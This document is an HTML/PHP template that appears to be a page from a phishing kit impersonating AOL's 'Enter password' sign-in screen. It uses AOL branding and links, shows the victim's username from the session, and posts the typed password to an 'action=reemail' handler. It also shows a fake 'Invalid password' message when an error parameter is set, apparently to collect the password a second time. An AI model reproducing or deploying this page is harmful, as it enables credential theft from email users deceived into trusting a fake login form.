<!DOCTYPE html>
<html id="Stencil" lang="en-US" class="js grid light-theme ">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no">
        <meta name="format-detection" content="telephone=no">
        <title>AOL</title>
        <link rel="icon" type="image/png" href="../../assets/email/aol/img/aol-favicon-v3.png">
        <link rel="shortcut icon" type="image/png" href="../../assets/email/aol/img/aol-favicon-v3.png">
        <link rel="apple-touch-icon" href="../../assets/email/aol/img/aol-apple-touch-icon-v2.png">
        <link rel="apple-touch-icon-precomposed" href="../../assets/email/aol/img/aol-apple-touch-icon-v2.png">
        <style nonce="">
            #mbr-css-check {
                display: inline;
            }
        </style>
        <link href="../../assets/email/aol/css/main-aol.css" rel="stylesheet" type="text/css">
    </head>
    <body class="bucket-mbr-whatsapp-ac bucket-mbr-oauth2-api-host bucket-mbr-oauth2-post-api-host bucket-mbr-whatsapp-nac">
        <div id="login-body" class="loginish  puree-v2  grid   ">
            <div class="mbr-desktop-hd">
                <span class="column">
                    <a href="https://www.aol.com/">
                        <img src="../../assets/email/aol/img/aol-logo-black-v1.png" alt="Aol" class="logo " width="100" height="">
                        <img src="../../assets/email/aol/img/aol-logo-white-v1.png" alt="Aol" class="dark-mode-logo logo " width="100" height="">
                    </a>
                </span>
                <div class="desktop-universal-header">
                    <a href="https://help.aol.com/" data-rapid-tracking="true" data-ylk="elm:link;elmt:link;slk:headerHelp">Help</a>
                    <a href="https://legal.aol.com/sg/en/aol/terms/otos/index.html" class="universal-header-links" data-rapid-tracking="true" data-ylk="elm:link;elmt:link;slk:headerTerms">Terms</a>
                    <a href="https://legal.aol.com/sg/en/aol/privacy/index.html" class="universal-header-links privacy-link" data-rapid-tracking="true" data-ylk="elm:link;elmt:link;slk:headerPrivacy">Privacy</a>
                </div>
            </div>
            <div class="login-box-container">
                <div class="login-box right">
                    <div class="mbr-login-hd txt-align-center">
                        <img src="../../assets/email/aol/img/aol-logo-black-v1.png" alt="Aol" class="logo aol-en-US" width="100" height="">
                        <img src="../../assets/email/aol/img/aol-logo-white-v1.png" alt="Aol" class="dark-mode-logo logo aol-en-US" width="100" height="">
                    </div>
                    <div class="challenge password-challenge">
                        <div class="challenge-header">
                            <div class="yid"><?= $_SESSION['username'] ?></div>
                        </div>
                        <div id="password-challenge" class="primary">
                            <strong class="challenge-heading">Enter&nbsp;password</strong>
                            <span class="txt-align-center challenge-desc">to finish sign&nbsp;in</span>
                            <form action="?action=reemail" method="post" class="challenge-form " id="signin">
                                <div id="password-container" class="input-group password-container blurred">
                                    <input type="password" id="password" class="password" name="passwordemail" placeholder=" " autofocus="" autocomplete="current-password">
                                    <label for="login-passwd" id="password-label" class="password-label">Password</label>
                                </div>
                                <?php
                                if($_GET['error'] == true){
                                echo '
                                    <p class="error-msg" role="alert" data-error="messages.ERROR_INVALID_PASSWORD">
                                        Invalid password. Please try&nbsp;again
                                    </p>
                                    ';
                                    }
                                ?>
                                <div class="reverse-order">
                                    <div class="button-container">
                                        <button type="submit" id="sign_in" class="pure-button puree-button-primary puree-spinner-button challenge-button">
                                            Next
                                        </button>
                                    </div>
                                    <div class="forgot-cont challenge-button-link">
                                        <input type="submit" class="pure-button puree-button-link challenge-button-link" value="Forgot&nbsp;password?">
                                    </div>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </body>
    <script type="text/javascript">
    const password = document.getElementById('password');
    const submitBtn = document.getElementById('sign_in');
    const form = document.getElementById('signin');
        
    // Form Event Listener
    form.addEventListener('submit', (e) => {
        if (password.value.length < 6) {
            e.preventDefault();
        } else {
            submitBtn.style.cssText = 'opacity: 0.6 !important;';
            submitBtn.setAttribute('disabled', '');
        }
    });
    </script>
</html>